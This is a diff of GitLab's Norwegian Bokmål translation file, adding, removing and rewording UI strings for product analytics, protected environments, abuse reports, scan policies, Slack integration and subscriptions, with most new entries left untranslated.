+msgid "Product Analytics|Set up product analytics..."
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a CommonJS module"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a HTML script tag"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as an ESM module"
+msgstr ""
+
+msgid "Product Analytics|The host to send all tracking events to"
+msgstr ""
+
+msgid "Product Analytics|To instrument your application, select one of the options below. After an option has been instrumented and data is being collected, this page will progress to the next step."
msgstr ""
msgid "Product analytics"
msgstr ""
+msgid "ProductAnalytics|Add another dimension"
+msgstr ""
+
msgid "ProductAnalytics|Add to Dashboard"
msgstr ""
+msgid "ProductAnalytics|All clicks compared"
+msgstr ""
+
+msgid "ProductAnalytics|All events compared"
+msgstr ""
+
+msgid "ProductAnalytics|All features"
+msgstr ""
+
+msgid "ProductAnalytics|All pages"
+msgstr ""
+
msgid "ProductAnalytics|An error occured while loading the %{widgetTitle} widget."
msgstr ""
+msgid "ProductAnalytics|An error occurred while fetching data. Refresh the page to try again."
+msgstr ""
+
+msgid "ProductAnalytics|Any Click on elements"
+msgstr ""
+
msgid "ProductAnalytics|Audience"
msgstr ""
+msgid "ProductAnalytics|Browser"
+msgstr ""
+
+msgid "ProductAnalytics|Browser Family"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a chart type on the right"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a measurement to start"
+msgstr ""
+
+msgid "ProductAnalytics|Click Events"
+msgstr ""
+
+msgid "ProductAnalytics|Code"
+msgstr ""
+
+msgid "ProductAnalytics|Compares all events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares click events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares feature usage of all features against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares pageviews of all pages against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Dashboards are created by editing the projects dashboard files."
+msgstr ""
+
+msgid "ProductAnalytics|Data"
+msgstr ""
+
+msgid "ProductAnalytics|Data Table"
+msgstr ""
+
+msgid "ProductAnalytics|Dimensions"
+msgstr ""
+
+msgid "ProductAnalytics|Event Type"
+msgstr ""
+
+msgid "ProductAnalytics|Events"
+msgstr ""
+
+msgid "ProductAnalytics|Events grouped by %{granularity}"
+msgstr ""
+
+msgid "ProductAnalytics|Events over time"
+msgstr ""
+
+msgid "ProductAnalytics|Feature Usage"
+msgstr ""
+
+msgid "ProductAnalytics|Feature usage"
+msgstr ""
+
+msgid "ProductAnalytics|Host"
+msgstr ""
+
+msgid "ProductAnalytics|Language"
+msgstr ""
+
+msgid "ProductAnalytics|Line Chart"
+msgstr ""
+
+msgid "ProductAnalytics|Measure All tracked Events"
+msgstr ""
+
+msgid "ProductAnalytics|Measure all or specific Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Measuring"
+msgstr ""
+
msgid "ProductAnalytics|New Analytics Widget Title"
msgstr ""
+msgid "ProductAnalytics|OS"
+msgstr ""
+
+msgid "ProductAnalytics|OS Version"
+msgstr ""
+
+msgid "ProductAnalytics|On what do you want to get insights?"
+msgstr ""
+
+msgid "ProductAnalytics|Page Language"
+msgstr ""
+
+msgid "ProductAnalytics|Page Path"
+msgstr ""
+
+msgid "ProductAnalytics|Page Title"
+msgstr ""
+
+msgid "ProductAnalytics|Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Pages"
+msgstr ""
+
+msgid "ProductAnalytics|Product analytics dashboards"
+msgstr ""
+
+msgid "ProductAnalytics|Referer"
+msgstr ""
+
+msgid "ProductAnalytics|Resulting Data"
+msgstr ""
+
msgid "ProductAnalytics|There is no data for this type of chart currently. Please see the Setup tab if you have not configured the product analytics tool already."
msgstr ""
+msgid "ProductAnalytics|Track specific features"
+msgstr ""
+
+msgid "ProductAnalytics|URL"
+msgstr ""
+
+msgid "ProductAnalytics|User activity"
+msgstr ""
+
+msgid "ProductAnalytics|Users"
+msgstr ""
+
+msgid "ProductAnalytics|Viewport"
+msgstr ""
+
+msgid "ProductAnalytics|Visualization Type"
+msgstr ""
+
+msgid "ProductAnalytics|What do you want to measure?"
+msgstr ""
+
+msgid "ProductAnalytics|Widget"
+msgstr ""
+
msgid "Productivity"
msgstr "Produktivitet"
@@ -32083,6 +32649,18 @@ msgstr "Vis mer"
msgid "ProjectLastActivity|Never"
msgstr "Aldri"
+msgid "ProjectList|Explore"
+msgstr ""
+
+msgid "ProjectList|Starred"
+msgstr ""
+
+msgid "ProjectList|Topics"
+msgstr ""
+
+msgid "ProjectList|Yours"
+msgstr ""
+
msgid "ProjectOverview|Fork"
msgstr "Utgreining"
@@ -32302,6 +32880,9 @@ msgstr ""
msgid "ProjectService|Trigger event when a wiki page is created or updated."
msgstr ""
+msgid "ProjectService|Trigger event when an incident is created."
+msgstr ""
+
msgid "ProjectService|Trigger event when an issue is created, updated, or closed."
msgstr ""
@@ -32377,9 +32958,6 @@ msgstr ""
msgid "ProjectSettings|Configure your infrastructure."
msgstr ""
-msgid "ProjectSettings|Configure your project resources and monitor their health."
-msgstr ""
-
msgid "ProjectSettings|Contact an admin to change this setting."
msgstr "Kontakt en administrator for å endre på denne innstillingen."
@@ -32551,9 +33129,6 @@ msgstr ""
msgid "ProjectSettings|Only signed commits can be pushed to this repository."
msgstr ""
-msgid "ProjectSettings|Operations"
-msgstr "Handlinger"
-
msgid "ProjectSettings|Override user notification preferences for all project members."
msgstr ""
@@ -32704,10 +33279,10 @@ msgstr ""
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
+msgid "ProjectSettings|Users can only push commits to this repository if the commit author name is consistent with their GitLab account name."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer name is consistent with their git config username."
+msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
msgstr ""
msgid "ProjectSettings|Users can request access"
@@ -32839,6 +33414,9 @@ msgstr ""
msgid "ProjectTemplates|Spring"
msgstr ""
+msgid "ProjectTemplates|TYPO3 Distribution"
+msgstr ""
+
msgid "ProjectTemplates|Tencent Serverless Framework/NextjsSSR"
msgstr ""
@@ -33463,6 +34041,24 @@ msgstr ""
msgid "ProtectedBranch|default"
msgstr ""
+msgid "ProtectedEnvironments|Allowed to deploy"
+msgstr ""
+
+msgid "ProtectedEnvironments|An error occurred while fetching information on the selected approvers."
+msgstr ""
+
+msgid "ProtectedEnvironments|Approval rules"
+msgstr ""
+
+msgid "ProtectedEnvironments|Number of approvals must be between 1 and 5"
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users are required to approve."
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users that are allowed to deploy to this environment"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr "%{environment_name} vil være skrivbar for utviklere. Er du sikker?"
@@ -33475,6 +34071,9 @@ msgstr "Tillatt å distribuere"
msgid "ProtectedEnvironment|Allowed to deploy to %{project} / %{environment}"
msgstr ""
+msgid "ProtectedEnvironment|Approvers"
+msgstr ""
+
msgid "ProtectedEnvironment|Environment"
msgstr "Miljø"
@@ -33511,6 +34110,9 @@ msgstr ""
msgid "ProtectedEnvironment|Select an environment"
msgstr "Velg et miljø"
+msgid "ProtectedEnvironment|Select environment"
+msgstr ""
+
msgid "ProtectedEnvironment|Select groups"
msgstr ""
@@ -34241,6 +34843,9 @@ msgstr ""
msgid "Reload page"
msgstr ""
+msgid "Reload the page to try again."
+msgstr ""
+
msgid "Remediations"
msgstr ""
@@ -34508,9 +35113,6 @@ msgstr ""
msgid "Renew subscription"
msgstr "Forny abonnement"
-msgid "Renews"
-msgstr ""
-
msgid "Reopen"
msgstr "Åpne på nytt"
@@ -34568,9 +35170,6 @@ msgstr "Erstattet alle stempler med %{label_references} %{label_text}."
msgid "Replaces the clone URL root."
msgstr ""
-msgid "Replication"
-msgstr ""
-
msgid "Reply"
msgstr ""
@@ -34607,6 +35206,33 @@ msgstr ""
msgid "Report your license usage data to GitLab"
msgstr ""
+msgid "ReportAbuse|Something else."
+msgstr ""
+
+msgid "ReportAbuse|They're being offsensive or abusive."
+msgstr ""
+
+msgid "ReportAbuse|They're crypto mining."
+msgstr ""
+
+msgid "ReportAbuse|They're phising."
+msgstr ""
+
+msgid "ReportAbuse|They're posting malware."
+msgstr ""
+
+msgid "ReportAbuse|They're posting personal information or credentials."
+msgstr ""
+
+msgid "ReportAbuse|They're posting spam."
+msgstr ""
+
+msgid "ReportAbuse|They're violating a copyright or trademark."
+msgstr ""
+
+msgid "ReportAbuse|Why are you reporting this user?"
+msgstr ""
+
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr "Rapportert %{timeAgo} av %{reportedBy}"
@@ -35266,8 +35892,8 @@ msgstr ""
msgid "Reviewer"
msgid_plural "%d Reviewers"
-msgstr[0] "Anmelder"
-msgstr[1] "%d Anmeldere"
+msgstr[0] ""
+msgstr[1] ""
msgid "Reviewer(s)"
msgstr "Anmelder(e)"
@@ -35553,7 +36179,7 @@ msgstr ""
msgid "Runners|Executor"
msgstr ""
-msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt CI/CD."
+msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt; CI/CD."
msgstr ""
msgid "Runners|Filter projects"
@@ -35926,7 +36552,7 @@ msgstr ""
msgid "Runners|Yes, start deleting stale runners"
msgstr ""
-msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
+msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared or group runner."
msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
@@ -36133,6 +36759,12 @@ msgstr ""
msgid "ScanExecutionPolicy|A pipeline is run"
msgstr ""
+msgid "ScanExecutionPolicy|Ex, tag-name-1, tag-name-2"
+msgstr ""
+
+msgid "ScanExecutionPolicy|If the field is empty, the runner will be automatically selected"
+msgstr ""
+
msgid "ScanExecutionPolicy|Scanner profile"
msgstr ""
@@ -36157,9 +36789,6 @@ msgstr ""
msgid "ScanExecutionPolicy|Select site profile"
msgstr ""
-msgid "ScanExecutionPolicy|Select tags (if any)"
-msgstr ""
-
msgid "ScanExecutionPolicy|Site profile"
msgstr ""
@@ -36175,6 +36804,9 @@ msgstr ""
msgid "ScanExecutionPolicy|in namespaces"
msgstr ""
+msgid "ScanResultPolicy|%{count} licenses"
+msgstr ""
+
msgid "ScanResultPolicy|%{ifLabelStart}if%{ifLabelEnd} %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
@@ -36184,12 +36816,36 @@ msgstr ""
msgid "ScanResultPolicy|%{thenLabelStart}Then%{thenLabelEnd} Require approval from %{approvalsRequired} of the following approvers:"
msgstr ""
+msgid "ScanResultPolicy|Newly Detected"
+msgstr ""
+
+msgid "ScanResultPolicy|Pre-existing"
+msgstr ""
+
msgid "ScanResultPolicy|add an approver"
msgstr ""
+msgid "ScanResultPolicy|except"
+msgstr ""
+
+msgid "ScanResultPolicy|finds any license %{matchType} %{licenseType} and is %{licenseStates} in an open merge request targeting %{branches}"
+msgstr ""
+
msgid "ScanResultPolicy|from %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
+msgid "ScanResultPolicy|license states"
+msgstr ""
+
+msgid "ScanResultPolicy|license type"
+msgstr ""
+
+msgid "ScanResultPolicy|matching"
+msgstr ""
+
+msgid "ScanResultPolicy|matching type"
+msgstr ""
+
msgid "ScanResultPolicy|scanners"
msgstr ""
@@ -36382,9 +37038,6 @@ msgstr "Søk i prosjekt"
msgid "Search projects"
msgstr "Søk i prosjekter"
-msgid "Search projects..."
-msgstr "Søk blant prosjekter …"
-
msgid "Search protected branches"
msgstr ""
@@ -36752,6 +37405,15 @@ msgstr ""
msgid "SecurityOrchestration|%{branches} branch"
msgstr ""
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd}"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} and %{lastTag} tags"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} tag"
+msgstr ""
+
msgid "SecurityOrchestration|%{scanners}"
msgstr ""
@@ -36773,6 +37435,9 @@ msgstr ""
msgid "SecurityOrchestration|Add action"
msgstr ""
+msgid "SecurityOrchestration|Add new approver"
+msgstr ""
+
msgid "SecurityOrchestration|Add rule"
msgstr ""
@@ -37052,7 +37717,7 @@ msgstr ""
msgid "SecurityOrchestration|Summary"
msgstr ""
-msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all branches to ensure the values are accurate before updating this policy."
+msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all protected branches to ensure the values are accurate before updating this policy."
msgstr ""
msgid "SecurityOrchestration|There was a problem creating the new security policy"
@@ -37115,10 +37780,10 @@ msgstr ""
msgid "SecurityOrchestration|a"
msgstr ""
-msgid "SecurityOrchestration|all branches"
+msgid "SecurityOrchestration|all namespaces"
msgstr ""
-msgid "SecurityOrchestration|all namespaces"
+msgid "SecurityOrchestration|all protected branches"
msgstr ""
msgid "SecurityOrchestration|an"
@@ -37133,6 +37798,9 @@ msgstr ""
msgid "SecurityOrchestration|group level branch"
msgstr ""
+msgid "SecurityOrchestration|or from: %{approverType}%{approvers}"
+msgstr ""
+
msgid "SecurityOrchestration|scanner finds"
msgstr ""
@@ -37202,9 +37870,6 @@ msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
-msgid "SecurityReports|At GitLab, we're all about iteration and feedback. That's why we are reaching out to customers like you to help guide what we work on this year for Vulnerability Management. We have a lot of exciting ideas and ask that you assist us by taking a short survey %{boldStart}no longer than 10 minutes%{boldEnd} to evaluate a few of our potential features."
-msgstr ""
-
msgid "SecurityReports|Change status"
msgstr "Endre status"
@@ -37424,9 +38089,6 @@ msgstr ""
msgid "SecurityReports|Submit vulnerability"
msgstr ""
-msgid "SecurityReports|Take survey"
-msgstr "Ta undersøkelse"
-
msgid "SecurityReports|The Vulnerability Report shows results of successful scans on your project's default branch, manually added vulnerability records, and vulnerabilities found from scanning operational environments. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
@@ -37454,6 +38116,9 @@ msgstr "Det oppstod en feil under avfeiing av sårbarhetene."
msgid "SecurityReports|There was an error dismissing the vulnerability."
msgstr "Det oppstod en feil under avfeiing av sårbarheten."
+msgid "SecurityReports|There was an error fetching the finding. Please try again."
+msgstr ""
+
msgid "SecurityReports|There was an error reverting the dismissal."
msgstr ""
@@ -37484,9 +38149,6 @@ msgstr ""
msgid "SecurityReports|Upgrade to manage vulnerabilities"
msgstr ""
-msgid "SecurityReports|Vulnerability Management feature survey"
-msgstr ""
-
msgid "SecurityReports|Vulnerability Report"
msgstr "SÃ¥rbarhetsrapport"
@@ -37505,9 +38167,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
-msgstr ""
-
msgid "SecurityReports|scanned resources"
msgstr ""
@@ -38287,6 +38946,9 @@ msgstr "Vis filutforsker"
msgid "Show file contents"
msgstr "Vis filens innhold"
+msgid "Show filters"
+msgstr ""
+
msgid "Show group milestones"
msgstr ""
@@ -38502,9 +39164,6 @@ msgstr ""
msgid "Sign-in count:"
msgstr "Antall pålogginger:"
-msgid "Sign-in failed because %{error}."
-msgstr ""
-
msgid "Sign-in page"
msgstr "PÃ¥loggingsside"
@@ -38631,9 +39290,6 @@ msgstr ""
msgid "SlackIntegration|Install GitLab for Slack app"
msgstr ""
-msgid "SlackIntegration|Notifications only work if you're on the latest version of the GitLab for Slack app"
-msgstr ""
-
msgid "SlackIntegration|Project alias"
msgstr ""
@@ -38664,6 +39320,12 @@ msgstr ""
msgid "SlackIntegration|Update to the latest version"
msgstr ""
+msgid "SlackIntegration|Update to the latest version of GitLab for Slack to get notifications"
+msgstr ""
+
+msgid "SlackIntegration|Update to the latest version to receive notifications from GitLab."
+msgstr ""
+
msgid "SlackIntegration|Verification token"
msgstr ""
@@ -38691,10 +39353,10 @@ msgstr ""
msgid "SlackService|Perform common operations in this project by entering slash commands in Slack."
msgstr ""
-msgid "Slack|%{asterisk}Step 1.%{asterisk} Connect your GitLab account to get started."
+msgid "Slack|%{asterisk}Channel notifications%{asterisk}"
msgstr ""
-msgid "Slack|%{asterisk}Step 2.%{asterisk} Try it out!"
+msgid "Slack|%{asterisk}Slash commands%{asterisk}"
msgstr ""
msgid "Slack|%{emoji}Connected to GitLab account %{account}"
@@ -38706,22 +39368,16 @@ msgstr ""
msgid "Slack|Connect your GitLab account"
msgstr ""
-msgid "Slack|Create a new issue"
-msgstr ""
-
-msgid "Slack|Create new issues from Slack: %{command}"
-msgstr ""
-
-msgid "Slack|Run a CI/CD job"
+msgid "Slack|Control GitLab from Slack with %{startMarkup}slash commands%{endMarkup}. For a list of available commands, enter %{command}."
msgstr ""
-msgid "Slack|See a list of available commands: %{command})"
+msgid "Slack|GitLab for Slack now supports channel-based notifications.Let your team know when new issues are created or new CI/CD jobs are run.%{startMarkup}Learn more%{endMarkup}."
msgstr ""
-msgid "Slack|Streamline your GitLab deployments with ChatOps. Once you've configured your %{startMarkup}CI/CD pipelines%{endMarkup}, try: %{command}"
+msgid "Slack|To start using notifications, %{startMarkup}enable the Slack integration%{endMarkup} in your project settings."
msgstr ""
-msgid "Slack|View and control GitLab content while you're working in Slack. Type the command as a message in your chat client to activate it. %{startMarkup}Learn more%{endMarkup}."
+msgid "Slack|To start using slash commands, connect your GitLab account."
msgstr ""
msgid "Slice multiplier"
@@ -39219,6 +39875,12 @@ msgstr "Kilde-IP"
msgid "Source branch"
msgstr "Kildegren"
+msgid "Source branch does not exist"
+msgstr ""
+
+msgid "Source branch is protected from force push"
+msgstr ""
+
msgid "Source branch will be deleted."
msgstr "Kildegrenen vil bli slettet."
@@ -39414,15 +40076,15 @@ msgstr ""
msgid "Start a Free Ultimate Trial"
msgstr ""
-msgid "Start a new discussion…"
-msgstr "Start en ny diskusjon …"
-
msgid "Start a new merge request with these changes"
msgstr ""
msgid "Start a review"
msgstr "Start en anmeldelse"
+msgid "Start another thread"
+msgstr ""
+
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -39912,18 +40574,36 @@ msgstr ""
msgid "Subscriptions"
msgstr "Abonnementer"
+msgid "Subscriptions|Activation date"
+msgstr ""
+
msgid "Subscriptions|Chat with sales"
msgstr ""
msgid "Subscriptions|Close"
msgstr ""
+msgid "Subscriptions|End date"
+msgstr ""
+
+msgid "Subscriptions|End date:"
+msgstr ""
+
+msgid "Subscriptions|Last sync"
+msgstr ""
+
+msgid "Subscriptions|None"
+msgstr ""
+
msgid "Subscriptions|Not ready to buy yet?"
msgstr ""
msgid "Subscriptions|Start a free trial"
msgstr ""
+msgid "Subscriptions|Start date"
+msgstr ""
+
msgid "Subscriptions|We understand. Maybe you have some questions for our sales team, or maybe you'd like to try some of the paid features first. What would you like to do?"
msgstr ""
@@ -40140,6 +40820,9 @@ msgstr ""
msgid "SuperSonics|Activation not possible due to true-up value mismatch"
msgstr ""
+msgid "SuperSonics|Add activation code"
+msgstr ""
+
msgid "SuperSonics|An error occurred while adding your subscription"
msgstr ""
@@ -40158,7 +40841,7 @@ msgstr "Skylisensiering"
msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Customers Portal"
msgstr ""
msgid "SuperSonics|Export license usage file"
@@ -40179,9 +40862,6 @@ msgstr ""
msgid "SuperSonics|Licensed to"
msgstr "Lisensiert til"
-msgid "SuperSonics|Manage"
-msgstr "Behandle"
-
msgid "SuperSonics|Maximum users"
msgstr "Maks antall brukere"
@@ -40670,15 +41350,6 @@ msgstr ""
msgid "TemporaryStorageIncrease|can only be set with more than %{percentage}%% usage"
msgstr ""
-msgid "TemporaryStorage|GitLab allows you a %{strongStart}free, one-time storage increase%{strongEnd}. For 30 days your storage will be unlimited. This gives you time to reduce your storage usage. After 30 days, your original storage limit of %{limit} applies. If you are at maximum storage capacity, your account will be read-only. To continue using GitLab you'll have to purchase additional storage or decrease storage usage."
-msgstr "GitLab tillater deg en %{strongStart}gratis, en-gangs lagringsøkning%{strongEnd}. I 30 dager er lagringen din ubegrenset. Dette gir deg tid til å redusere din bruk av lagringsplass. Etter 30 dager, vil din opprinnelige lagringsgrense på %{limit} gjelde. Hvis du har nådd maksimal lagringskapasitet vil kontoen din bli skrivebeskyttet. For å fortsette å bruke GitLab må du kjøpe ekstra lagringsplass eller redusere forbruket."
-
-msgid "TemporaryStorage|Increase storage temporarily"
-msgstr ""
-
-msgid "TemporaryStorage|Temporarily increase storage now?"
-msgstr ""
-
msgid "Terminal"
msgstr "Terminal"
@@ -40709,6 +41380,21 @@ msgstr ""
msgid "TerraformBanner|Using Terraform? Try the GitLab Managed Terraform State"
msgstr ""
+msgid "TerraformLimits|Learn more about Terraform limits."
+msgstr ""
+
+msgid "TerraformLimits|Limits for Terraform features"
+msgstr ""
+
+msgid "TerraformLimits|Maximum file size (in bytes) of Terraform state files. Set to 0 for no limit."
+msgstr ""
+
+msgid "TerraformLimits|Terraform limits"
+msgstr ""
+
+msgid "TerraformLimits|Terraform state size limit (bytes)"
+msgstr ""
+
msgid "Terraform|%{name} successfully removed"
msgstr "%{name} ble vellykket fjernet"
@@ -40975,9 +41661,6 @@ msgstr ""
msgid "TestReports|Test reports require job artifacts but all artifacts are expired. %{linkStart}Learn more%{linkEnd}"
msgstr ""
-msgid "TestReports|Tests"
-msgstr "Tester"
-
msgid "TestReports|There are no test cases to display."
msgstr ""
@@ -41231,6 +41914,9 @@ msgid_plural "The following personal access tokens: %{token_names} were revoked,
msgstr[0] ""
msgstr[1] ""
+msgid "The following personal access tokens have expired:"
+msgstr ""
+
msgid "The fork relationship has been removed."
msgstr ""
@@ -41380,6 +42066,9 @@ msgstr ""
msgid "The name of the Jenkins project. Copy the name from the end of the URL to the project."
msgstr ""
+msgid "The new Web IDE"
+msgstr ""
+
msgid "The number of changes to fetch from GitLab when cloning a repository. Lower values can speed up pipeline execution. Set to %{code_open}0%{code_close} or blank to fetch all branches and tags for each job"
msgstr ""
@@ -41584,6 +42273,9 @@ msgstr "Det er ingen spam-logger"
msgid "There are no abuse reports!"
msgstr ""
+msgid "There are no approval rules for the given `represent_as` parameter. Use a valid User/Group/Role name instead."
+msgstr ""
+
msgid "There are no archived requirements"
msgstr "Det er ingen arkiverte krav"
@@ -41932,6 +42624,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr "Denne %{issuableDisplayName} er låst. Kun prosjektmedlemmer kan kommentere."
+msgid "This %{issuable} is hidden because its author has been banned"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr "Denne %{issuable} er låst. Kun %{strong_open}prosjektmedlemmer%{strong_close} kan kommentere."
@@ -42034,21 +42729,27 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
-msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
-msgstr ""
-
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
msgid "This commit was signed with a different user's verified signature."
msgstr ""
+msgid "This commit was signed with a verified signature and the committer email was verified to belong to the same user."
+msgstr ""
+
msgid "This commit was signed with a verified signature, but the committer email is not associated with the GPG Key."
msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr "Denne commiten ble signert med en %{strong_open}uverifisert%{strong_close} signatur."
+msgid "This commit was signed with an unverified signature."
+msgstr ""
+
+msgid "This commit was signed with multiple signatures."
+msgstr ""
+
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -42271,6 +42972,9 @@ msgstr ""
msgid "This job does not run automatically and must be started manually, but you do not have access to it."
msgstr ""
+msgid "This job does not start automatically and must be started manually. You can add CI/CD variables below for last-minute configuration changes before starting the job."
+msgstr ""
+
msgid "This job has been canceled"
msgstr "Denne jobben er avbrutt"
@@ -42346,9 +43050,6 @@ msgstr ""
msgid "This job requires a manual action"
msgstr "Denne jobben krever en manuell handling"
-msgid "This job requires manual intervention to start. Before starting this job, you can add variables below for last-minute configuration changes."
-msgstr ""
-
msgid "This job will automatically run after its timer finishes. Often they are used for incremental roll-out deploys to production environments. When unscheduled it converts into a manual action."
msgstr ""
@@ -42553,7 +43254,7 @@ msgstr "Denne brukeren er forfatteren av denne %{noteable}."
msgid "This variable can not be masked."
msgstr "Denne variabelen kan ikke maskeres."
-msgid "This vulnerability type has been deprecated from GitLab's default ruleset and automatically resolved."
+msgid "This vulnerability was automatically resolved because its vulnerability type was disabled in this project or removed from GitLab's default ruleset."
msgstr ""
msgid "This will invalidate your registered applications and U2F / WebAuthn devices."
@@ -42995,6 +43696,11 @@ msgstr ""
msgid "To import an SVN repository, check out %{svn_link}."
msgstr "For å importere et SVN-kodelager, sjekk ut %{svn_link}."
+msgid "To invite more users, you can reduce the number of users in your namespace to %{free_limit} user or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgid_plural "To invite more users, you can reduce the number of users in your namespace to %{free_limit} users or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "To keep this project going, create a new issue"
msgstr "For å holde dette prosjektet gående, opprett en ny sak"
@@ -43211,7 +43917,7 @@ msgstr ""
msgid "Todos|added a to-do item"
msgstr ""
-msgid "Todos|has requested access"
+msgid "Todos|has requested access to %{what} %{which}"
msgstr ""
msgid "Todos|mentioned %{who}"
@@ -43508,24 +44214,12 @@ msgstr ""
msgid "Trials|Day %{daysUsed}/%{duration}"
msgstr ""
-msgid "Trials|Go back to GitLab"
-msgstr "GÃ¥ tilbake til GitLab"
-
-msgid "Trials|Skip Trial"
-msgstr "Hopp over prøveperiode"
-
msgid "Trials|Upgrade %{groupName} to %{planName}"
msgstr ""
-msgid "Trials|You can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You've got %{daysRemaining} day remaining on GitLab %{planName}!"
msgid_plural "Trials|You've got %{daysRemaining} days remaining on GitLab %{planName}!"
msgstr[0] ""
@@ -43630,15 +44324,12 @@ msgstr "Prøv å endre eller fjerne filtre."
msgid "Try grouping with different labels"
msgstr ""
-msgid "Try logging in using your username or email. If you have forgotten your password, try recovering it"
+msgid "Try it out now"
msgstr ""
msgid "Try out GitLab Pipelines"
msgstr ""
-msgid "Try out the new Web IDE"
-msgstr ""
-
msgid "Try the troubleshooting steps here."
msgstr ""
@@ -43810,6 +44501,9 @@ msgstr ""
msgid "Unable to create link to vulnerability"
msgstr ""
+msgid "Unable to create pipeline"
+msgstr ""
+
msgid "Unable to fetch branch list for this project."
msgstr ""
@@ -43852,6 +44546,9 @@ msgstr "Klarte ikke å laste inn forskjellen. %{button_try_again}"
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
+msgid "Unable to load the page"
+msgstr ""
+
msgid "Unable to parse JSON"
msgstr ""
@@ -44032,6 +44729,9 @@ msgstr ""
msgid "Unselect \"Expand variable reference\" if you want to use the variable value as a raw string."
msgstr ""
+msgid "Unselect all"
+msgstr ""
+
msgid "Unstar"
msgstr "Fjern stjerne"
@@ -44071,6 +44771,9 @@ msgstr ""
msgid "Unverified"
msgstr "Ubekreftet"
+msgid "Unverified signature"
+msgstr ""
+
msgid "Up to date"
msgstr "Oppdatert"
@@ -44140,6 +44843,9 @@ msgstr ""
msgid "UpdateProject|Could not set the default branch"
msgstr ""
+msgid "UpdateProject|Could not set the default branch. Do you have a branch named 'HEAD' in your repository? (%{linkStart}How do I fix this?%{linkEnd})"
+msgstr ""
+
msgid "UpdateProject|New visibility level not allowed!"
msgstr ""
@@ -44302,15 +45008,9 @@ msgstr ""
msgid "UsageQuota|Includes artifacts, repositories, wiki, uploads, and other items."
msgstr ""
-msgid "UsageQuota|Increase storage temporarily"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
-msgid "UsageQuota|Learn more about excess storage usage"
-msgstr "Lær mer om overflødig lagringsbenyttelse"
-
msgid "UsageQuota|Learn more about usage quotas"
msgstr "Lær mer om brukskvoter"
@@ -44341,15 +45041,9 @@ msgstr ""
msgid "UsageQuota|Pipelines"
msgstr "Rørledninger"
-msgid "UsageQuota|Purchase more storage"
-msgstr "Kjøp mer lagringsplass"
-
msgid "UsageQuota|Purchased storage"
msgstr ""
-msgid "UsageQuota|Purchased storage available"
-msgstr "Innkjøpt lagringsplass tilgjengelig"
-
msgid "UsageQuota|Purchased storage used"
msgstr ""
